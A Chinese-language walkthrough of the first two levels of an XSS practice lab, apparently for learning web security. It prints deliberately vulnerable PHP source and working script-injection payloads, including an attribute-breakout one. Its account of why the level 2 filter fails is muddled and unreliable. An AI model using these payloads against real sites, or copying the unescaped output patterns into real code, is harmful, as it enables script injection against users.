搭建靶场:这里推荐小皮面板
辅助工具:Burpsuite
小皮面板(phpstudy) - 让天下没有难配的服务器环境! (xp.cn)
第一关
我们查看源码:
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
尝试最基础xss语句:
<script>alert('xss')</script>
第二关:
查看源码:
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
这一关使用了htmlspecialchars()
函数来尝试防止XSS攻击 需要绕过htmlspecialchars()函数
htmlspecialchars($str)
:尝试将用户输入转换为安全的HTML格式,防止XSS
既然htmlspecialchars()
被用来转义$str
,直接的HTML或JavaScript注入将被转义成无害的文本。但htmlspecialchars()
不转义引号内的实体,也不转义某些HTML5事件属性。例如,onerror
属性可以在图片加载失败时触发JavaScript代码执行。
根据搜索的1111 我们可以闭合">来触发xss
"><script>alert(1)</script>